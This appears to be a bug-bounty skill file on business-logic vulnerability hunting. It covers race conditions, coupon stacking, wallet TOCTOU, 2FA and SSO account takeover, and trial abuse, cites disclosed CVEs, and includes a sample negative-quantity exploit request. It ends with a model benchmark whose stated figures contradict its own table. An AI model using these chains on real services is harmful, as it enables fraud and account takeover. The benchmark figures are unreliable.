js/race-condition — flags read-check-write patterns on shared state without synchronization. Catches the WWBN AVideo CVE-2026-34368 class.js/missing-rate-limiting — flags endpoints without rate-limit middleware. Catches MinIO LDAP brute-force GHSA-jv87-32hw-hh99 class (cross-reference hunt-info-disclosure).js/tainted-arithmetic-operands — flags arithmetic on user-controlled values without sanitization. Catches negative-quantity manipulation.For business-logic specifically, write custom CodeQL predicates targeting the exact pattern. Example sketch for "client-supplied total trusted by checkout":
qlimport javascript import semmle.javascript.security.dataflow.flow class TrustedClientTotal extends TaintTracking::Configuration { TrustedClientTotal() { this = "TrustedClientTotal" } override predicate isSource(DataFlow::Node src) { src.asExpr() = any(HTTP::RequestInputAccess in) } override predicate isSink(DataFlow::Node sink) { exists(MethodCallExpr c | c.getMethodName() = ["createOrder", "processPayment", "chargeCustomer"] and c.getAnArgument() = sink.asExpr() ) } }
This is where the 2024-2026 business-logic meta lives. Coverage required: GitHub Actions, GitLab CI, Jenkins, ArgoCD/Flux, Kubernetes, IAM/IMDS, supply chain.
GitHub Actions business-logic surface — workflow if: conditions evaluated on attacker-controlled inputs (github.event.pull_request.title, github.event.commits[*].message); attackers craft titles/commits to satisfy if: contains(github.event.pull_request.title, '[skip-tests]') and bypass test gates. Approval-required workflow environments bypassed when bot accounts are not subject to required-reviewer rules. CI cache poisoning via concurrent commits to overwrite shared cache with malicious payload (cross-reference hunt-rce CI/CD section).
GitLab CI business-logic surface — rules: conditions on user-controlled CI variables (CI_COMMIT_MESSAGE, CI_PIPELINE_SOURCE); attackers craft commit messages to bypass test gates. protected: true branches sometimes bypassable via merge-request from feature branch with auto-merge enabled by trusted reviewer.
Jenkins business-logic surface — pipeline when conditions, input step bypass via direct API call to /job/<name>/build/api/json skipping interactive approval, role-strategy plugin's "Project Roles" assigned by pattern-match on job name (rename job to bypass).
ArgoCD / Flux / Tekton (GitOps controllers) business-logic surface:
AppProject with overly-broad destinations and sourceRepos allows business-logic abuse where teams deploy to neighbor namespaces.PipelineRun with workspace shared across teams enables cross-team artifact tampering.Kubernetes business-logic surface — ResourceQuota enforcement happens at admission; concurrent CREATE requests can race past the limit. LimitRange for pod resource requests bypassable via Pod-spec priorityClassName exemptions.
Cloud IAM / IMDS — IAM trust-policy Condition blocks evaluated against attacker-influenced attributes (e.g., aws:SourceIp → use VPN to satisfy condition; aws:RequestTag/<key> → set tag via mass-assignment to satisfy). STS AssumeRoleWithWebIdentity accepts JWT from federated identity providers — if IDP issues tokens for unverified emails, business-logic abuse via fake-domain registration.
Supply chain — npm/pip postinstall scripts that perform "license check" or "feature gate" evaluations client-side; attackers patch the package to bypass tier check. Trial-extension via GitHub Sponsors / OpenCollective / Patreon webhook abuse.
The 2024-2026 expansion meta required by the validator. All five topics covered.
<!-- expansion-na: container reason: container escape is RCE-class; business-logic at runtime layer manifests as resource-quota race conditions and Kubernetes ResourceQuota bypass via concurrent CREATE requests — covered in Modern Meta section above. -->
The closest analog: Kubernetes ResourceQuota race-condition bypass. When a namespace has ResourceQuota for pods: 10, concurrent CREATE requests for 11 pods can race past the limit because the admission controller checks-then-counts without atomic locking. Same TOCTOU pattern as WWBN AVideo CVE-2026-34368 wallet but at the cluster-resource layer.
ML platforms with credit / quota systems are emerging business-logic targets:
hasEverTrialed pattern (better-auth #6863) potentially applies; LLM provider has multiple subscription records, trial-history check uses wrong query.OWASP LLM06:2025 Excessive Agency intersects business-logic:
Server Actions accept arbitrary user input — business-logic checks must happen server-side, but Server Actions are often written quickly with client-trust patterns:
total, price, quantity from client and processes without recomputation.ArgoCD / Flux business-logic patterns:
destinations: ["*"] and sourceRepos: ["*"] allows business-logic abuse where one team's deployment overwrites another team's resources.Eight chain templates from disclosed reports.
Chain 1 — negative-quantity → free order → refund-amount-larger-than-purchase (low five-figure on e-commerce — AlegroCart / Bagisto pattern combined with refund flow)
quantity=-1) producing negative subtotal — AlegroCart 1.2.9 (Andrey Stoykov SecLists Apr 2025) / Bagisto v2.3.6 (Rudransh Sep 2025) patternHunter's note: the chain that pays here is combining the negative-quantity exploit with the refund flow. Most hunters report the negative quantity alone (mid four-figure), missing that the refund flow on the same target often accepts client-supplied refund_amount. The first attempt I made stopped at "$0 order placed" and triagers downgraded as "no real loss". Adding the refund step — show the app refunding $500 for a $0 order — made it critical-tier. Always test the full money-flow, not just the entry point.
Chain 2 — coupon stacking via race → near-zero cart → mass purchase abuse (mid four-figure to low five-figure on e-commerce — Aditya Bhatt May 2025 pattern)
Hunter's note: the trick is the parallel-execution mode in Burp Repeater (right-click tab group → "Send group in parallel last byte sync"). Sequential 20× coupon application fails because each request commits before the next reads; only parallel exposes the race window. Combining with inventory exhaustion makes it a critical: "attacker can purchase entire stock of $1000-product for $5". The first time I tried this, programs paid mid four-figure; adding the mass-inventory-exhaustion angle in the impact section raised it to low five-figure.
Chain 3 — wallet TOCTOU → balance creation from nothing → bypass pay-per-view → free subscription (mid five-figure on financial / fintech — WWBN AVideo CVE-2026-34368 pattern)
transferBalance() reads sender balance, checks sufficiency, writes new balance — no transaction or row lock (WWBN AVideo CVE-2026-34368 / GHSA-h54m-c522-h6qr)Hunter's note: the secondary vulnerability matters — the AVideo writeup notes captcha tokens can be reused ($_SESSION['palavra'] not unset after validation). Without that, you'd need fresh captchas for each concurrent request. With it, you generate one captcha and all 20 requests reuse it. Always check companion vulnerabilities when finding TOCTOU; race conditions often work because of secondary defects (no captcha rotation, no rate limit, no idempotency keys).
Chain 4 — 2FA bypass via password reset → ATO → mass account exfil (low to mid five-figure — KhaledAhmed107 Jan 2026 pattern combined with horizontal privilege)
Hunter's note: the trick is finding programs that explicitly enabled 2FA as their security model — those triage 2FA bypass as critical (because the security guarantee is broken). Programs that have 2FA as optional may downgrade to medium ("user can choose to set 2FA, this just bypasses optional feature"). Always frame the impact as "the 2FA security model is broken", not "I bypassed an optional feature". The Samsung Account 2FA bypass (Gregory Greekas 2024) was framed as "fundamentally undermined the security model that 2FA is supposed to provide" — explicit framing earned high-severity classification.
Chain 5 — email-alias trial abuse → unlimited free tier → resource exhaustion (mid four-figure on SaaS programs that pay this class — Mahmoud Magdy Dec 2025 pattern)
user+a1@gmail.com, user+a2@gmail.com as distinct registrations; doesn't canonicalize emailuser+trial<i>@gmail.com aliasesHunter's note: the move that pays this is showing scale, not just the alias trick. Most hunters report "I created 5 accounts with aliases" and triagers shrug — every SaaS knows about +aliases. Showing 1000-account scripted abuse with measurable resource cost (compute hours, API calls, storage) elevates to actual impact. Also test other canonicalization gaps: dot variants (u.s.er@gmail.com), @googlemail.com vs @gmail.com, Unicode-confusable domains (gmail.com vs gmail.с0m).
Chain 6 — pre-account takeover via SSO migration → persistent ATO across victim signup (mid five-figure on SSO-enabled enterprise SaaS — Giongnef Jan 2024 pattern)
sso_type:null defaults to direct-login flowvictim@victim-company.com via direct-login signup with attacker-chosen password, before victim signs upvictim@victim-company.com — succeeds because account already exists in SSO DB; from victim's perspective everything works normallyHunter's note: the prerequisite is finding SaaS that supports both auth modes simultaneously. Hunt: any "Login with SSO" + "Sign up with email" on the same product. The pre-registration window must be large enough — works best for B2B SaaS where companies onboard in waves. The "Migrate" function is the key step; without it, the direct-login account is bypassed when SSO records take precedence. Test by reading the SSO documentation for the target — many implementations describe the Migrate flow explicitly.
Chain 7 — phone-change OTP flaw → phone takeover → password reset via SMS → ATO (low to mid five-figure on programs with SMS-based recovery — H1 2024 critical pattern)
Hunter's note: the missing step is OTP from the OLD phone. Modern flows require dual-OTP: confirm from current number AND new number. Older flows (and many SaaS that have weaker SMS recovery) only confirm new number. Always test by requesting a phone change while logged in as your test account; if the OTP only goes to the new number, the account is one-step from ATO. Combine with username enumeration (cross-reference hunt-info-disclosure) for mass exploitation.
Chain 8 — WAF bypass + XSS + business-logic email collision → ATO (low to mid five-figure — Ali Hussain Sep 2025 chain)
+ at start of payload disabled WAF filtering on this target)Hunter's note: the chain shows that low-impact business-logic flaws (email collision in password reset → reset email goes to attacker, but only if attacker can change victim's email) become critical when chained with XSS that auto-triggers the email change. The first attempt I tried reported the email-collision bug as low; programs closed it because "attacker can't change victim's email". Adding the XSS-as-delivery layer turned it into ATO. Always look for delivery vectors (XSS, CSRF, postMessage, OAuth open-redirect) when business-logic flaws require victim action.
Why developers introduce business-logic flaws:
BEGIN TRANSACTION + SELECT ... FOR UPDATE. WWBN AVideo CVE-2026-34368. Coupon usage counter not atomically incremented.findOne instead of findMany + .some(). Stripe hasEverTrialed better-auth #6863 pattern. Multiple subscription records → wrong one returned.user@gmail.com ≠ user+a@gmail.com to the app, but identical to delivery. Mahmoud Magdy Dec 2025 pattern.tier: "enterprise" sticks.quantity > 0, quantity < MAX_REASONABLE, Number.isInteger() checks; reject NaN, Infinity, very large numbers.Defense bypasses observed in disclosed reports.
quantity=-1 slips through. AlegroCart 1.2.9 disclosed at https://seclists.org/fulldisclosure/2025/Apr/22.quantity=2147483648 overflows int32 → negative; check > 0 doesn't catch the overflowed-negative case. Bug Bounty Playbook reference at https://bugbounty.info/Attack-Surface/Web/Business-Logic/Price-Manipulation.user+a@gmail.com distinct from user@gmail.com in app DB but same delivery. Mahmoud Magdy Dec 2025 at https://medium.com/@mahmoudmagdy45456/violation-of-secure-design-principles-unlimited-free-trial-abuse-via-email-aliases-3de0756eb58c.findOne bypass via multiple records — Stripe hasEverTrialed returns false because findOne returns wrong record. better-auth #6863 disclosed Dec 2025 at https://github.com/better-auth/better-auth/issues/6863.$_SESSION['palavra'] not unset after validation enables unlimited reuse within session, enabling concurrent requests with single captcha. Documented in WWBN AVideo GHSA-h54m-c522-h6qr at https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr.tier field via PATCH. Cross-reference https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/.channel: header to access dealer-tier endpoints with customer token.Before you write the report, prove these five things:
If any of the 5 fails: stop. You have a finding, not a report. Common kills:
Business-logic hunting is not "try weird values everywhere"; it is invariant testing. For every target, write the invariant in one sentence before touching Burp: "a coupon can be consumed once", "a wallet debit and credit preserve total balance", "a trial can be granted once per billing identity", "a phone-number change proves control of old and new numbers". The report is strong only when you show that invariant broken in final server state.
Stop in 15 minutes when the manipulated field is display-only, the final GET shows canonical state unchanged, the program excludes the abuse class, or the impact is below noise threshold. Keep chaining when the broken invariant reaches money, subscription tier, MFA, ownership, inventory, or account recovery. Report immediately when you can quantify dollars, inventory count, account takeover, or durable privilege; do not spend extra time turning a clean financial-integrity bug into unauthorized data access.
Minimum proof ceiling: use your own two accounts, your own payment method, test-mode cards, or a clearly reversible sandbox object. For money flows, show before/after ledger totals and stop before real withdrawal. For ATO flows, take over your second account only. For race bugs, preserve request timestamps and server-state screenshots; the triager needs to see concurrency, not just a surprising final value.
Example 1 — wwbn-avideo-wallet-toctou-balance-creation-from-nothing (low five-figure bounty range, 1-link TOCTOU primitive — CVE-2026-34368 NVD-verified, GHSA-h54m-c522-h6qr)
transferBalance() method in plugin/YPTWallet/YPTWallet.php. Authenticated users can transfer funds to other users. Captcha required per transfer ($_SESSION['palavra'] validation).transferBalance(): SELECT current balance → PHP-side check sufficiency → UPDATE deducted balance. No BEGIN TRANSACTION, no SELECT ... FOR UPDATE, no row-level locking. Secondary defect: captcha token not unset after validation, enabling reuse within same session.transferBalance() in parallel; all read sender_balance=$10, all passed check (10 >= 10 transfer amount), only 1 deduction effective (last writer wins for sender), recipient credited 20× = $200.34132ad5159784bfc7ba0d7634bb5c79b769202d.Example 2 — lilishop-coupon-overpurchase-concurrent-collection (low five-figure bounty range on programs that triage as financial-fraud-class — CVE-2024-50654 NVD-verified, CVSS 7.5)
Example 3 — samsung-account-2fa-bypass-via-imei-leak (low five-figure bounty range from Samsung Security Bounty program, 2-link chain — Gregory Greekas Dec 2024 disclosure)
deviceUniqueId field derived deterministically from device IMEI through known transformation. Username (publicly-discoverable) → 2FA request API → exposes IMEI.Example 4 — doppler-free-trial-reset-via-plan-tier-roundtrip (mid four-figure bounty range on SaaS programs that pay this class — Aditya Sunny Dec 2024 disclosure)
Example 5 — alegrocart-negative-quantity-price-manipulation (mid four-figure bounty range on equivalent commercial e-commerce — Andrey Stoykov Apr 2025 disclosure)
quantity × unit_price per line item.GET /alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100 HTTP/1.1. Server processed the negative quantity literally; cart line item showed -100 x Featured-product $-1,599.00.quantity=-100 to cart → subtotal becomes negative. Proceed to checkout → checkout flow accepts negative total. Some payment integrations process this as a refund; others process as a $0 free order.Example 6 — better-auth-stripe-hasevertried-incomplete-subscription-reset (mid four-figure bounty range on SaaS programs that pay trial-abuse — better-auth issue #6863 Dec 2025)
hasEverTrialed from the first subscription object returned by database lookup.findOne can return a newly-created incomplete subscription before an older used-trial subscription. The app asks "has this user ever trialed?" and receives false because it inspected the wrong row.The kill-list. Where NOT to point the cannon.
24-month meta call-out. The defining 2024-2026 business-logic story is race-condition exploitation of payment / wallet / coupon flows — WWBN AVideo CVE-2026-34368 wallet TOCTOU, Lilishop CVE-2024-50654 coupon overpurchase, Aditya Bhatt May 2025 InfoSec writeup applying coupons via Burp parallel execution, OpenCart Dec 2025 KhanMarshaI checkout race. If you hunt one new business-logic primitive next quarter, it's running every state-mutating endpoint through Burp Repeater Parallel Execution to find race windows. The second-place meta is 2FA bypass via auxiliary flows — Keycloak CVE-2025-3910, KhaledAhmed107 Jan 2026 password-reset Skip pattern, Samsung Account 2FA bypass via IMEI leak. The third-place meta is subscription / trial-state manipulation — Doppler reset, email-alias abuse, Stripe hasEverTrialed better-auth #6863. The fourth-place meta is price/quantity manipulation — AlegroCart, Bagisto, generic negative-value exploits.
OSS targets where the next 6 months of paying bugs likely are. E-commerce CMS (Bagisto, Lilishop, AlegroCart, OpenCart, Magento extensions). Self-hosted SaaS with subscription / trial logic (Sentry, Plausible, Umami self-hosted, Outline). Wallet / payment / financial OSS (WWBN AVideo wallet plugin, BTCPay Server, Mempool.space). Identity / auth platforms (Keycloak, Authentik, Authelia, ZITADEL — see CVE-2025-3910 family). Multi-tier / freemium SaaS where subscription state determines feature access. Anywhere with promo / referral / invite-bonus / loyalty-points logic.
Anti-patterns reminder. See the Anti-Targets section above. Most-common kills: "race condition theoretically possible" without proof, negative quantity without checkout-completion proof, 2FA bypass on programs that don't enforce 2FA, multiple-accounts without measurable resource cost, refund-amount manipulation without server-side issued-refund proof.
Ground rule for impact in 2026: business-logic flaws pay 2-10× more when chained to direct financial impact (free orders, free subscriptions, refund larger than purchase, ATO via 2FA bypass). Always quantify in dollars: "free $500 jacket × 100 stock = $50K inventory loss" beats "negative quantity accepted". Always demonstrate the COMPLETED unauthorized state via subsequent GET; many findings get downgraded because the response shows success but the actual state didn't change.
Currency tip: ~6 of the verified CVEs/GHSAs cited in this skill are from 2024-2026; many business-logic findings (Doppler, Samsung, AlegroCart, KhaledAhmed107) don't have CVEs because vendors don't assign CVEs for application-specific findings. Re-verify with verify_citations.py before finalizing any report citing them.
90-minute hunt loop
price, quantity, discount, currency, tier, role, trial, coupon, wallet, stock, phone, otp, step, and idempotency fields.Decision tree
False-positive graveyard
Program economics
Report framing
Automation harness
flow.yaml per target with named requests: start, mutate, commit, verify.| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +45 percentage points is the difference between those two pass rates over the 22 comparable cases. 3 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.